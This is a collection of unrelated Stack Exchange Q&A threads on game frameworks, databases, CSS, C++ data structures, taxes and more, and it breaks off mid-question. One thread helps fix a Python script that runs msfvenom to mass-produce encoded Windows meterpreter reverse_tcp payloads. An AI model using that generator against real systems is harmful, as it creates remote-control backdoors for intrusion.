Q:

What are the cons of using DrawableGameComponent for every instance of a game object?

I've read in many places that DrawableGameComponents should be saved for things like "levels" or some kind of managers instead of using them, for example, for characters or tiles (Like this guy says here). But I don't understand why this is so. I read this post and it made a lot of sense to me, but these are the minority.
I usually wouldn't pay too much attention to things like these, but in this case I would like to know why the apparent majority believes this is not the way to go. Maybe I'm missing something.

A:

Hmmm. Got challenge this one for the sake of a bit of balance here I'm afraid.
There seem to be 5 charges in Andrew's reply, so I'll try and deal with each in turn:
1) Components are an out-of-date and abandoned design.
The idea of components design pattern existed long before XNA - in essence it is simply a decision to make objects, rather than the over-arching game object, the home of their own Update and Draw behaviour. For objects in its component collection, the game will call these methods (and a couple of others) automatically at the appropriate time - crucially the game object does not itself have to 'know' any of this code. If you wish to re-use your game classes in different games (and thus different Game objects), this de-coupling of objects is still fundementally a good idea. A quick look at the latest (professionally produced) demos of XNA4.0 from the AppHub confirms my impression that Microsoft are still (quite rightly in my view) firmly behind this one.
2) Andrew can't think of more than 2 re-usable game classes.
I can. In fact I can think of loads! I've just checked my current shared lib, and it comprises more than 80 re-usable components and services. To give you a flavour, you could have:

Game State/Screen Managers
ParticleEmitters
Drawable primitives
AI controllers
Input controllers
Animation controllers
Billboards
Physics & Collision Managers
Cameras

Any particular game idea will need at least 5-10 things from this set - guaranteed - and they can be fully functional in a completely new game with one line of code.
3) Controlling draw order by the order of explicit draw calls is preferrable to using the component's DrawOrder property.
Well, I basically agree with Andrew on this one. BUT, if you leave all you component's DrawOrder properties as default, you can still explicitly control their draw order by the order in which you add them to the collection. This is really identical in 'visibility' terms to explicit ordering of their manual draw calls.
4) Calling a load of object's Draw methods yourself is more 'lightweight' than having them called by an existing framework method.
Why? Plus, in all but the most trivial of projects your Update logic and Draw code will totally overshadow your method calling in terms of performance hit in any case.
5) Placing your code in one file is preferrable, when debugging, than having it in the individual object's file.
Well, firstly, when I'm debugging in Visual Studio the location of a breakpoint in terms of files on disk is almost invisible these days - the IDE deals with the location without any drama. But also consider for a moment that you have a problem with your Skybox drawing. Is going to the Skybox's Draw method really more onerous than locating the skybox drawing code in the (presumably very lengthy) master draw method in the Game object? Nope, not really - in fact I would argue that it is quite the opposite.
So, in summary - please take a long hard look at Andrew's arguments here. I don't believe they actually give substantive grounds to write entangled game code. The upsides of the decoupled component pattern (used judiciously) are massive.

A:

"Game Components" were a very early part of the XNA 1.0 design. They were supposed to work like controls for WinForms. The idea was that you would be able to drag-and-drop them into your game using a GUI (kind of like the bit for adding non-visual controls, like timers, etc) and set properties on them.
So you could have components like maybe a Camera or a... FPS counter?... or...?
You see? Unfortunately this idea doesn't really work for real-world games. The kind of components you want for a game aren't really reusable. You might have a "player" component, but it will be very different to every other's game's "player" component.
I imagine it was for this reason, and for a simple lack of time, that the GUI was pulled before XNA 1.0.
But the API is still usable... Here's why you shouldn't use it:
Basically it comes down to what is easiest to write and read and debug and maintain as a game developer. Doing something like this in your loading code:
player.DrawOrder = 100;
enemy.DrawOrder = 200;

Is much less clear than simply doing this:
virtual void Draw(GameTime gameTime)
{
    player.Draw();
    enemy.Draw();
}

Especially when, in a real-world game, you might end up with something like this:
GraphicsDevice.Viewport = cameraOne.Viewport;
player.Draw(cameraOne, spriteBatch);
enemy.Draw(cameraOne, spriteBatch);

GraphicsDevice.Viewport = cameraTwo.Viewport;
player.Draw(cameraTwo, spriteBatch);
enemy.Draw(cameraTwo, spriteBatch);

(Admittedly you could share the camera and spriteBatch using the similar Services architecture. But that is also a bad idea for much the same reason.)
This architecture - or lack thereof - is so much more light weight and flexible!
I can easily change the draw order or add multiple viewports or add a render target effect, just by changing a few lines. To do it in the other system requires me to think about what all those components - spread across multiple files - are doing, and in what order.
It's sort of like the difference between declarative vs imperative programming. It turns out that, for game development, imperative programming is far more preferable.

A:

I disagree a bit with Andrew, but I also think there is a time and place for everything.  I would not use a Drawable(GameComponent) for something as simple as a Sprite or Enemy.  However, I would use it for a SpriteManager or EnemyManager.
Going back to what Andrew said about draw and update order, I think Sprite.DrawOrder would be very confusing for many sprites.  Moreover, its relatively easy to set up a DrawOrder and UpdateOrder for a small (or reasonable) amount of Managers that are (Drawable)GameComponents.
I think that Microsoft would have done away with them if they really where that rigid and nobody used them. But they haven't because they work perfectly fine, if the role is right.  I myself use them to develop Game.Services that are updated in the background.


Q:

Using Alpha Textures doesn't work properly

I'm trying to mix to shaders with the use of an alpha texture. I UV unwrapped the cube and adjusted the mapping but it still doesn't work.
On the top of the cube there should be a P with the Glossy Shader.

A:

In your screen shot you plugged the alpha channel from the image in the the mix Shader.
Just plug the color socket of the image texture in to the factor of the mix Shader.
Edit:
The alpha channel of an image stores where the image is clear. The image in your question does not have an alpha channel, so it will be all white. If you used a png with transparency in the image then you would use the alpha channel as the mix factor.
If you change your image, delete all the black part so that it is clear. Then the alpha and color channels would be the same. White only where the letter P is.


Q:

sqlite database not returning results

Why my query does not return results?
I'm using C#.
It returns column headers but no rows. Is there a problem with my select statement?
here's my code :
conn = new SQLiteConnection("Data Source=local.db;Version=3;New=False;Compress=True;");
DataTable data = new DataTable();
SQLiteDataReader reader;
using (SQLiteTransaction trans = conn.BeginTransaction())
{
    using (SQLiteCommand mycommand = new SQLiteCommand(conn))
    {
        mycommand.CommandText = "SELECT * FROM TAGTABLE WHERE TAG = '"+tag+"' ;";
        reader = mycommand.ExecuteReader();
    }
    trans.Commit();
    data.Load(reader);
    reader.Close();
    reader.Dispose();
    trans.Dispose();
}
return data;

The TAGTABLE has following fields:
TID int,
Tag varchar(500),
FilePath varchar(1000)

A:

You don't need the transaction, try the following:
    DataTable data = new DataTable();

    using (SQLiteConnection conn = new SQLiteConnection("Data Source=local.db;Version=3;New=False;Compress=True;"))
    using (SQLiteCommand mycommand = new SQLiteCommand(conn))
    {
        mycommand.CommandText = "SELECT * FROM TAGTABLE WHERE TAG = @tag;";
        mycommand.Parameters.AddWithValue("@tag", tag);
        conn.Open();

        using (SQLiteDataReader reader = mycommand.ExecuteReader())
        {
            data.Load(reader);
        }
    }

    return data;

The most likely reason this won't return anything is if the SELECT doesn't yield any results.
Also note that anything implementing the IDisposable interface can be used in conjunction with the using statement, so manual closing / disposal of objects afterwards is not required.
Notice that the SQL has changed to use a parameterized query, this will help reduce the likelihood of SQL injection attacks, and is generally cleaner.


Q:

Compare the column values and update another column in Oracle

I have a scenario where we have first two entries for each test. Meaning for each test we have two entries, now I want to compare the test ranks and update the LoginID column in my table.
Sample data:
RANK | TestID | LoginID
-----+--------+---------
234     14       null
235     14       null
330     15       null
331     15       null
223     18       null
222     18       null
500     20       null
501     20       null

In the above table, I have two entries for each testId, now I need to compare the RANK column of the corresponding TESTID rows, and update the LoginId column with 1 and 2.
Finally I am looking for output like follows:
RANK | TestID | LoginID
-----+--------+---------
234     14       1
235     14       2
330     15       1
331     15       2
223     18       2
222     18       1
500     20       1
501     20       2

Can anyone suggest which is better way to achieve this? I tried with min() and max(), with Case (When /then) concept, but the query is not returning the expected results.

A:

You can use MERGE with window function row_number:
merge into your_table t
using (
    select t.*,
        row_number() over (partition by testId order by rank) as rn
    from your_table t
) s on (
    t.rank = s.rank
    and t.testId = s.testId
    )
when matched then update set t.loginId = s.rn;


Q:

Create a multidimesional key of hash from array?

I want to create a multidimensional %hash from the @array.
Suppose @array is like
my @array=(1,2,3,4,5);

I want to assign @array last value as final value to multidimensional %hash i.e
%hash=(
        1=>{
              2=>
                 {
                  3=>
                      {
                        4=>5
                       }
                  }
              }
           )

Which means $hash{1}{2}{3}{4}=5;
I want to do it in something like:
for my $i (0..$#array){
    #push $i as key until second last element and assign last element as value
}

Note : The @array may be of any size, Just I want to assign last element of @array as value to the keys of elements before the last element in %hash.

A:

First, use pop to separate the value to assign from the keys. Then, you can use either of the following:
use Data::Diver qw( DiveVal );

my %hash;
DiveVal(\%hash, map \$_, @keys) = $val;

or
sub dive_val :lvalue {
   my $p = \shift;
   $p = \( $$p->{$_} ) for @_;
   $$p
}

my %hash;
dive_val(\%hash, @keys) = $val;

dive_val works by having $p reference the next value to dereference and/or modify.
Pre-loop:            $p references $hash (the anon scalar referencing %hash)
After loop pass 0:   $p references $hash->{1}
After loop pass 1:   $p references $hash->{1}{2}
After loop pass 2:   $p references $hash->{1}{2}{3}
After loop pass 3:   $p references $hash->{1}{2}{3}{4}

The extra level of indirection has many benefits.

It removes the need to treat the last key specially.
It removes the need to create the hash before it's dereferenced.
It removes the need for the root to be a reference to a hash. Instead, any scalar can be the root, even an undefined one.
It makes it easy to extend dive_val to support mixed array/hash structures.


Q:

Appending variables as strings when passing command line arguments in python 2.7.12

I am attempting to create a Metasploit payload generator with Python 2.7.12. It generates many malicious payloads utilizing msfvenom.
First I utilize the %s and %d format operators.
call(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST=%s",
"LPORT=%s", "-e %s", "-i %d", "-f %s", "> %s.%s"]) % (str(lhost),
str(lport), str(encode), iteration, str(formatop), str(payname), str(formatop))

This error returns
/usr/bin/msfvenom:168:in `parse_args': invalid argument: -i %d
(OptionParser::InvalidArgument)
from /usr/bin/msfvenom:283:in `<main>'
Traceback (most recent call last):
    File "menu.py", line 74, in <module>
  call(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST=%s",
"LPORT=%s", "-e %s", "-i %d", "-f %s", "> %s.%s"]) % (str(lhost),
str(lport), str(encode), iteration, str(formatop), str(payname), str(formatop))
TypeError: unsupported operand type(s) for %: 'int' and 'str'

I am able to understand that msfvenom is not able to parse the argument I pass, which was the iteration flag, -i. Following that I see an error from Python, TypeError.
After conducting some research, I decided to use .format(), since
call(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST={0}",
"LPORT={1}", "-e {2}", "-i {3}", "-f {4}", "> {5}.{6}"]).format(lhost,
lport, encode, iteration, formatop, payname, formatop)

It returns
AttributeError: 'int' object has no attribute 'format'

What should I do? Also are there anyways I can optimize my program and instead of copy and pasting the same line, and changing the payload type for 15 options?

A:

You cannot use format on the result of the call(...). You should format each component:
with open("{}.{}".format(payname, format), 'w') as outfile:
    call(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST={}".format(lhost), "LPORT={}".format(lport), "-e", str(encode), "-i", str(iteration), "-f", str(format)], stdout=outfile)

Note that the redirection is replaced with an explicitly opened file, because subprocess.call will not pass that to the shell unless you enable the unsafe shell=True argument.
To repeat this multiple times with a different payload is easy: create an array with the payloads then put this code into a loop (or, perhaps clearer, a function called with one payload at a time).


Q:

Counting arguments Given one prove the other identity

Given:
$${n \choose 0} + {n \choose 1} + {n \choose 2} + \cdots + {n \choose n} = 2^n$$
Prove the following in 2 ways.
$$ {n \choose 1} + 2 {n \choose 2} + 3 {n \choose 3} + \cdots + n{n\choose n} = n 2^{n-1}.$$
I have already figured out one:
$$
\sum_0^n k\binom{n}{k}
$$
Makes up part of the computation for the expected size of a group if you randomly select items from the total.  This expected value is half of the size of the total.  Thus:
$$
\frac{\sum_0^n k\binom{n}{k}}{\sum_0^n \binom{n}{k}} = \frac{n}{2}
$$
With the result that $\sum_0^n\binom{n}{k} = 2^n$, this gives:
$$
\sum_0^n k\binom{n}{k} = \frac{n}{2}2^n = n2^{n - 1}
$$
Which then equals the RHS
But I cannot figure out another way. Thanks for any help

A:

$$
\sum_{k=0}^n k\binom{n}{k} = \sum_{k=1}^n \frac{k n!}{k!(n-k)!} \\= \sum_1^n \frac{n!}{(k-1)!(n-k)!} \\
=n\sum_1^n \frac{(n-1)!}{(k-1)!(n-k)!} \\
=n\sum_0^{n-1} \frac{(n-1)!}{k!(n-1-k)!} \\
=n2^{n-1}
$$


Q:

Content-Type incorrect using Python Requests

I am attempting to kick off a paramaterized Jenkins job using the Python Requests library (2.17.3 and Python 3.6) but I am running into issues.
I have tested with Curl and it works and kicks off the Jenkins job like I would expect.  The following is a simplified version of the curl command I used.
curl -X POST -H "$crumb" $jenkins_url/job/$job_name/build?token=$job_token \
  --user $auth \
  --data-urlencode json='
  {"parameter":
    [
      {"name":"parameter1", "value":"test1"},
      {"name":"parameter2", "value":"test2"},
      {"name":"git_repo", "value":"'$my_repo'"},
      {"name":"git_tag", "value":"'$git_tag'"}
    ]
  }'

Doing the same thing with Python though is causing problems.  Here is (basically) what I'm doing in Python.
import requests
job_url = JENKINS_URL + "/job/" + JOB_NAME + "/build?token=" + JOB_TOKEN
params = {
    "parameter":
    [
  {"name":"parameter1", "value":"test1"},
  {"name":"parameter2", "value":"test2"},
  {"name":"git_repo", "value":"'$my_repo'"},
  {"name":"git_tag", "value":"'$git_tag'"}
    ]
}
job = requests.post(job_url, headers=headers, auth=(JENKINS_USER, JENKINS_PASS), data=params)

And when I examine the response, I get Error 400 This page expects a form submission in the returned job.content.  Looking at the content-type in the job object I see that it is set to text/html which doesn't seem right, but I don't know why it doesn't respect the header that is supposed to get set.
print(job.headers)
{'Server': 'nginx/1.10.0 (Ubuntu)', 'Date': 'Sat, 10 Jun 2017 01:57:04 GMT', 'Content-Type': 'text/html;charset=iso-8859-1', 'Content-Length': '392', 'Connection': 'keep-alive', 'X-Content-Type-Options': 'nosniff', 'Set-Cookie': 'JSESSIONIDXXX;Path=/;Secure;HttpOnly', 'Cache-Control': 'must-revalidate,no-cache,no-store'}

I have tried setting the Content-Type header manually in the code but it doesn't seem to make a difference.
headers['Content-Type'] = 'application/x-www-form-urlencoded'

Is there something I am doing wrong or missing?

A:

use /buildWithParameters instead of /build like in this answer: https://stackoverflow.com/a/35913411/6090676. you can specify parameters in the url as query parameters. you'll love it. :)


Q:

Apply a css -webkit-filter grayscale before using a background-blend-mode keeping the color

I'm trying to achieve a monochrome colored image on mouse hover, where the colors of the image are transformed to grayscale and the gray shades afterwards replaced with the shade of color i'm blending with.
It could look like this
To simulate this in photoshop you can grayscale a image add your desired color layer on top and blend it with screen mode.
As far as i understand css has this potential if you combine the css filter and the background-blend-mode, but the result will always be grayscale if you use the filter.
So i'm asking if there any other ways to get this blend, or to grayscale images before without the css filter

A:

You can do it in one single step, using luminosity as the blend mode.
In this mode, luminosity is taken from the front layer(the image), and the hue and saturation are taken from the background (here, a solid color)
The following demo gives you also the posibility to asign the color filter thru the class

.test {
    width: 400px;
    height: 200px;
    margin: 10px;
    background-size: cover;
    background-image:  url(http://placekitten.com/1000/750);
}

.test:hover {
    background-blend-mode: luminosity;
}

.red {
    background-color: red;
}

.green {
    background-color: greenyellow;
}

Another solution, where black in the image gives full saturated color (instead of black). A little bit more complex to set up, but achievable.

.test {
    width: 400px;
    height: 200px;
    background-size: cover;
    background-color: white;
    background-image: linear-gradient(red, red), url(http://placekitten.com/1000/750);
    background-blend-mode: screen, luminosity;
}

A way to have this effect as a reusable class. The image is already on the element, and we just set the class to set the effect and a separate class for the color.
So the sequence needs to be:

first layer = white
second layer the image, with blend set to luminosity. This way, the luminosity of the image is combined with white, giving white for high luminosity and black for low luminosity (i.e. a grayscale filter)
third layer, a solid color, with blend set to screen. this keeps the white as white, but changes black to the color.

We need to use a pseudo element for the final blend, to make it easy to set all this with an independent class. this will be set with mix-blend instead of background-blend :

#cat {
    width: 760px;
    height: 560px;
    background-image: url(http://placekitten.com/1000/750);
}

.test {
    background-color: white;
    background-position: 0px 0px;
    background-size: cover;
    background-blend-mode: luminosity;
    position: relative;
}

.test:after {
    content: "";
    position: absolute;
    left: 0px;
    top: 0px;
    right: 0px;
    bottom: 0px;
    mix-blend-mode: screen;
    pointer-events: none;
}

.blue:after {
    background-color: blue;
}


Q:

Adding multiple rules for indicators SSRS BIDS

I have produced a report which allows you to drill down into the table you see with ticks and crosses. Each tick indicates that a task is complete. In the second picture you can see the rules which dictate whether the task is classes as complete or incomplete and they are the following:
If Remaining Hours = 0 then the task is complete and therfore a tick appears.
If Remaining Hours is between 0.01 and 1,000,000 then there is still work to be carried out and therfore the task is not complete.
The oversight on this the 'Total Effort' column, if this is 0.00 and remaining Hours is also 0.00 then it means that the task has not began yet and is therfore incomplete however due to my rules, a tick is appearing next to these unstarted tasks.
My question is, how do I add a second ruling to take into account 'Total Effort' because as far as I can see I am only able to select one value from the drop down box and then populate just for that.
The rules need to be:
If Remaining Hours = 0 and Total Effort >= 0.01 then a green tick
If Remaining Hours is between 0.01 and 1,000,000 then a red cross
If Total Effort = 0.00 and Remaining Hours = 0.00, then red cross
Hope this makes sense.

A:

=iif(Sum(Fields!EffortRemaining.Value) =0 and Sum(Fields!TotalEffort.Value) >= 0.01,1,0) for value expression
Then tell red cross for 0 and green tick for 1


Q:

Best data structure for point traversal

Looking for a C++ solution.
I had thoughts whether to ask this question over here or MathExchange etc. but since it's more of a programming based question thus posting here.
Real problem:
I have an XML with field as:
<part name='01' x='351' y='151'/>

Where x and y, I am storing as QPointf object. Also, I require the name=01 value which I am mapping together with the QPointf object to create a map.
Now there are certain operations that I need to do on this map :

First I need to get all the points(QPointf) and draw over an image.
Second, I will modify the x and y value of certain points getting the points from the GUI.
When I get the points from GUI, I need to check x and y value in each Qpointf inside map.

Problem in simpler form:
I am looking for a data structure such that instead of having a map of key and QPointf, it makes parsing and looking for x and y value of points(QPointf) easier. Just that the QPointf and key should form a unique pair with each other, so that parsing through the entire list of points to find certain (x,y) and modifying it is faster and even when x and y value of QPointf is modified the key attached to it is same.
PS: I hope I was clear with the problem, if there is anything unclear then please edit/comment so that the question can be improved.

A:

My guess is here that your most important aspect is finding a certain set of x and y points when a user uses the UI. There are many acceleration structures possible, but I would probably recommend a point index grid. That is, you partition the indices of points into 2D buckets. When a user chooses a point in the UI, you can do a quick look-up on what bucket the point is in, and you can then iterate over only the points present in that bucket to find the actual point.
As for your data, I would store it in an array:
struct NamePoint {
    int name, x, y;
};
std::vector<NamePoint> points;

Now you would create a point index grid that refers to the points array. Implementing one yourself might be worthwhile, but otherwise I know that there exists an OpenVDB version that works.

I made a small dirty implementation so you can see the principle. I have no checks for inputs, so if you're not careful you will access out of the bounds of the vector (e.g., calling pointIndexGrid.indicesForPoint(5, 5) gives segmentation fault).
#include <iostream>
#include <vector>
#include <limits>

struct NamePoint {
    int name, x, y;
};

template <typename T> // Just so any array type can work
struct PointIndexGrid {
    using ArrayType = T;
    using size_type = typename ArrayType::size_type;

    PointIndexGrid(const ArrayType& points, int gridSize)
        : mGridSize(gridSize)
    {
        // Find the domain. We will create a 2D vector which will all contain another vector with indices.
        maxX = maxY = std::numeric_limits<int>::min();
        minX = minY = std::numeric_limits<int>::max();
        for (const auto& p : points) {
            maxX = p.x > maxX ? p.x : maxX;
            maxY = p.y > maxY ? p.y : maxY;
            minX = p.x < minX ? p.x : minX;
            minY = p.x < minY ? p.x : minY;
        }

        // create buckets
        int nbrXBuckets = (maxX - minX)/mGridSize + 1; // Due to integer arithmetics we round down -- lets add one extra just in case
        int nbrYBuckets = (maxY - minY)/mGridSize + 1;
        for (int n = 0; n < nbrXBuckets; ++n) {
            mBuckets.emplace_back(std::vector<std::vector<size_type>>(nbrYBuckets));
        }

        // Partition points
        for (size_type i = 0; i < points.size(); ++i) {
            int xBucket = (points[i].x - minX)/mGridSize; // this is the method how to easily calculate the bucket. Pure arithmetics -- goes fast
            int yBucket = (points[i].y - minY)/mGridSize;
            mBuckets[xBucket][yBucket].emplace_back(i);
        }
    }

    std::vector<size_type> indicesForPoint(int x, int y)
    {
        int xBucket = (x - minX)/mGridSize; // Same as above
        int yBucket = (y - minY)/mGridSize;
        return mBuckets[xBucket][yBucket];
    }

private:
    int mGridSize;
    int maxX, minX;
    int maxY, minY;
    std::vector<std::vector<std::vector<size_type>>> mBuckets;
};

int main() {
    std::vector<NamePoint> points;
    points.emplace_back(NamePoint{1, 1, 1});
    points.emplace_back(NamePoint{2, 1, 2});
    points.emplace_back(NamePoint{3, 1, 2});
    points.emplace_back(NamePoint{4, 2, 2});
    points.emplace_back(NamePoint{5, 3, 3});

    PointIndexGrid<std::vector<NamePoint>> pointIndexGrid(points, 2);

    std::cout << "Indices for (1, 1): " << std::endl;
    for (const auto& i : pointIndexGrid.indicesForPoint(1, 1)) {
        std::cout << " " << i << std::endl;
    }

    std::cout << "Indices for (3, 3): " << std::endl;
    for (const auto& i : pointIndexGrid.indicesForPoint(3, 3)) {
        std::cout << " " << i << std::endl;
    }
}

This prints out:
Indices for (1, 1):
 0
 1
 2
 3
Indices for (3, 3):
 4

So to find a point at a specific (x, y):

Partition all points using the PointIndexGrid.
Use pointIndexGrid.indicesForPoint(x, y).
Iterate through all indices there (and look up the points in the points-array).
Grab the point that you want.


Q:

Being tax efficient with dividend stocks

I've been considering selling off more of my (growth) stocks and placing the capital in dividend stocks. However, I realize Uncle Sam will tax me on any dividends I earn throughout the year. Is holding these stocks in a tax free account, such as an an IRA, the only way to avoid taxes? Will having the dividends automatically re-invested (like DRIP from TD Ameritrade) still trigger taxes? I dont want to hold the stocks longterm (~ 2- 3 years), as I already have a mutual fund.

A:

Having dividends automatically reinvested (i.e. DRIPs) will cause a tax liability for the value of the dividends.
Qualified dividends (i.e. specific holding period requirements) are currently taxed at a rate lower than ordinary income tax.
Yes, for normal people the way to avoid/defer paying taxes is by using a retirement account (e.g. Roth IRA/IRA/401k). There are of course plenty of legal constructs to manipulate the tax implications of any transaction.


Q:

rspec include matcher fails with equal arrays

I'm testing the active scope of SystemCommission, I have the following test:
  expected = [active, no_starting, no_ending]
  expect(SystemCommission.active.map(&:id)).to include expected.map(&:id)

it fails with:
Failure/Error: expect(SystemCommission.active.map(&:id)).to include expected.map(&:id)
       expected [1, 2, 3] to include [1, 2, 3]

I had to use the ids because it wasn't matching the objects.
any clues?

A:

The array [1, 2, 3] does not include [1, 2, 3]
To make that pass it would look something like: [1, 2, 3, [1, 2, 3]]
splat your array:
expect(SystemCommission.active.map(&:id)).to include *expected.map(&:id)


Q:

Sobre perguntas boas que são fechadas por serem amplas

Existem perguntas  cujo uma resposta realmente não vai solucionar 100% do problema, mas que existem respostas precisas que podem ser valiosas em termos de orientação.
Porque marcar como pendente/fechar se existem respostas que vão facilitar o entendimento ou até mesmo clarificar o caminho para a solução da questão ?
Vou citar um exemplo :
Como tentar deixar um site compatível com os principais browsers? [fechada]
Muitos iniciantes entram no google e digitam algo assim , talvez querendo uma fórmula mágica que não existe , mas podem encontrar uma  orientação útil em relação ao problema.

A:

Mesmo fechada, provavelmente essa pergunta permanecerá no site por anos a fio (tem score positivo na pergunta e respostas) e o Google vai linkar pra ela, fechada ou não. E sua preocupação sobre "encontrar uma orientação", ainda que incompleta, será satisfeita em boa medida.
As respostas já publicadas com certeza darão "uma luz".
Inclusive esse parece ser um pedido muito frequente (e aqui temos um ótimo meme em busca de ilustração, façam seus GIFs!).
Uma opção legal pra você que já conhece o esquema Stack Overflow é fazer sua própria pergunta inspirado por uma pergunta fora de escopo.
Este site não é um blog nem uma página de tutoriais, mas se conseguir calibrar bem a pergunta, com escopo definido e dentro do formato "Pergunta & Resposta", vai matar vários coelhos de uma só vez (com perdão dos veganos):

a pergunta não vai ser fechada;
vai servir de referência pra várias outras;
vai estar sempre aberta a novas respostas;
se tiver vontade, pode escrever sua própria resposta; (blog!)
vai ter alcance muito maior que qualquer blog ou site de tutoriais;
o Google vai ficar feliz da vida.

A:

O problema de perguntas como esta, é que elas podem ser tão amplas que podem ter um livro como resposta.
Se eu estive no lugar do AP desta pergunta eu me aprofundaria mais no assunto e dividiria o problema em varias partes fazendo uma pergunta para cada item especifico que envolva compatibilidade entre os Browsers, é claro que isso é uma tarefa custosa de se fazer, mas, mesmo assim a quantidade de reposta e o nível de detalhamento das respostas, seria bem maior do que se fosse em uma pergunta ampla com uma resposta ampla de mais.
Neste casso achei justo o fechamento desta pergunta, mesmo tendo boas respostas, mas, seria melhor fazer varias perguntas especificas.
E como você afirmou:

Muitos iniciantes entram no google e digitam algo assim , talvez
  querendo uma fórmula mágica que não existe , mas podem encontrar uma
  orientação útil em relação ao problema.

Numa resposta muito ampla, acredito que um iniciante iria ficar mais confuso com a quantidade de informação que ele teria que processar para transformar em conhecimento do que em várias perguntas especifica que como um todo pode solucionar um problema ao invés de mostrar o caminho, não que indicar o caminho não seja relevante, mais vamos nos focar na solução aqui no Stack OverFlow Português.

A:

Entendo seu ponto de vista, mas vou tentar lhe explicar aonde este tipo de pergunta vai levar.
Compatibilidade em sites envolvem diversas tecnologias e não uma só, exemplo:

html4.01, html5
css2, css3
javascript (padrão ecma)
SVG
Feeds/RSS/ATOM
Fontes, ttf, woff, etc

Cada navegador evolui mais rápido em uma tecnologia especifica e não tem como definir qual tecnologia ele vai evoluir primeiro, o autor que saber sobre o geral, ele não foi "especifico" em uma tecnologia, quando criamos páginas não usamos uma tecnologia única ou especifica, mas sim uma série de tecnologias como citei, o que torna a pergunta Ampla demais.
Entenda por favor, perguntas fechadas não significa que são ruins ou boas, pelo contrário tem muitas perguntas boas mesmo, a questão é que somos um Q&A e temos um modelo a seguir e "uma cultura local", as perguntas e respostas tem que ser especificas, isto é o que faz a comunidade funcionar bem, é esse o segredo do sucesso da maioria dos sites rede Stack Exchange (existem sites da SE que são voltados a debates e opiniões e nem todos são sobre programação, existe site sobre Direito, Café e Idiomas).
Os próprios sites da baseados no Stack Overflow e o http://stackoverflow.com são a prova de como isso funciona para trazer conteúdo de maior qualidade, se começar a permitir opiniões ou debates vai mudar totalmente o modelo e funcionamento, pode até afetar a qualidade.
Isso já foi debatido aqui no META, veja: É permitido debater uma questão sobre programação?
Eu sei que a pergunta foi fechada como Ampla demais, mas se imaginarmos que ela ficasse aberta, quase todas respostas seriam opiniões ou nunca responderiam completamente a duvida, apenas parte. É praticamente impossível responder algo "amplo" quando se tratando de inúmeras tecnologias.
A única resposta que eu acredito ser a "correta" seria o que eu comentei lá na pergunta:

A única solução é evitar usar tecnologias avançadas usar coisas bem simples se quiser manter compatível com navegadores mais antigos.... Se o caso for todos browsers modernos apenas ie11, edge, Firefox, chrome vai depender da tecnologia estar implementada no navegador ou não. Não existe fórmula mágica e nem pronta pra isto, o jeito é indo testando em quanto constrói em todos navegadores pra evitar dor de cabeça. – Guilherme Nascimento 7/02 às 19:23

Ou talvez algo assim (eu pensei em responder isto):

A única maneira é usar tecnologias básicas que sejam suportadas por todos browsers, não usar CSS3, HTML5, responsividade, Web Fonts, CORS, usar links normais e evitar o Ajax (acaso vá usar CORS), não usar bibliotecas "avançadas" como jQuery e fazer páginas sempre simples.

Qualquer outro tipo de resposta seria apenas "opinião" ou "parte da resposta" e não teria como afirmar que funcionaria 100%.


Q:

how to change datepicker holotheme day view in android

How can I change this days view to normal? I mean to display days not in a month view calendar, but in a form like months and years?
 <DatePicker
            android:id="@+id/datePicker"
            android:layout_width="312dp"
            android:layout_height="wrap_content"
            android:layout_marginTop="5dp" />

A:

If I understand your question correctly, you want to hide the calendar view but still display the day/month/year selector. To achieve that, change your XML to the following:
<DatePicker
    android:id="@+id/datePicker"
    android:layout_width="312dp"
    android:layout_height="wrap_content"
    android:layout_marginTop="5dp"
    android:calendarViewShown="false" />


Q:

SVG  tag only partially rendering on iPhone

I have been developing a web page "game" on my PC based in HTML, SVG, and Javascript.  It has a large image of the earth loaded into the SVG views through the SVG <image> tag.  Testing on my PC this works with no problem, however recently I published it to a public web page (http://rbarryyoung.com/EarthOrbitalSimulator.html) and discovered that only the bottom right quarter of the SVG is rendering on both SVG views on my iPhone and iPad.  Like this:
At first, I thought that it was just the image in the SVG viewports, but then I realized that the entire SVG viewport was black except for the lower-right quadrant.  The SVG viewport is correctly fully sized, it just appears as if there is some black mask over 3/4s of it (or only 1/4 of it renders).
Here's what I think are the relevant HTML code lines, the containing Div tag for the first SVG view (line 67):
<div id="divSvg1"
    style="position:relative; z-index:1; margin:15px;
        top:100px;
        width:640px; height:640px;
        background-color:black;
        float:left;"
    >

The SVG tag (line 104):
    <svg  id="svgEa"
        style="width:100%; height:100%;"
        viewBox="-7500 -7500 15000 15000"
        preserveAspectRatio="xMidYMid meet"
        clip-path="url(#svgEaClip)"
        transform="scale(1.0,1.0)"
        version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
        <!-- NOTE: All internal units are in KM (or %)  -->

And the embedded Image tag (starting at line 160):
        <g id="gEaAll" transform="scale(1.0,1.0)" >

            <!-- ... -->

            <g id="gEaSurfaceFacingBottom" class="eaSurfaceFacing">
                <g id=gEarthImage>
                    <!-- ...  -->
                    <image x="-6413" y="-6413" width="12826" height="12826" href="eosImages/globe-arctic 8bit.png" />
                </g>
            </g>

The second SVG view is a shadowed (<use..> tag), zoomed view of the first with the same problem.
I have tested this on my PC, on both screens in Chrome, Edge, and IE, where it works correctly on all of them.  I have also tested this on my iPhone with both Safari and Edge and my iPad with Safari, Chrome, and Edge with the same failure on all of them.  I have tried just a bare <img> tag of the PNG file outside of SVG and that works fine on these platforms.
I do not have any Android platforms to test with, so if anyone wants to try it and let me know, I can add those results here.
I have researched this, and though there's a bunch of stuff about iOS not rendering images, mostly those are a complete failure to render, rather than this very specific partial rendering, and much less specific stuff about SVG differences.  Ultimately I didn't find anything that seemed to be the same problem.
To summarize then, my question is:  what is causing this problem or what have I done wrong, and how can I fix it?  (I do understand that I will need to have a different style/CSS layout for mobile, but I still need to know what needs to be changed to make this render correctly)

A:

Add X and Y coordinates for your <rect />. In your case, your Clip-Path Rectangle is not in an exact coordinate.
Here is the code working for me

    <clipPath>
         <rect x="-7500px" y="-7500px" width="100%" height="100%" />
    <cliPath>

replace this code with your <clipPath> on line 114 and 301.
Here is the Screenshot

Moreover here is a live demo that worked on my Mac Safari as well in windows Chrome, where I took one part of your code.


Q:

Weird single character output from function that turns array to HTML table in PHP

I've hit this a few time and was just wondering if anyone might know why this happens.
The array i'm passing is from the WHM/cPanel API, and of the form (var_dump()ed):
array (size=14)
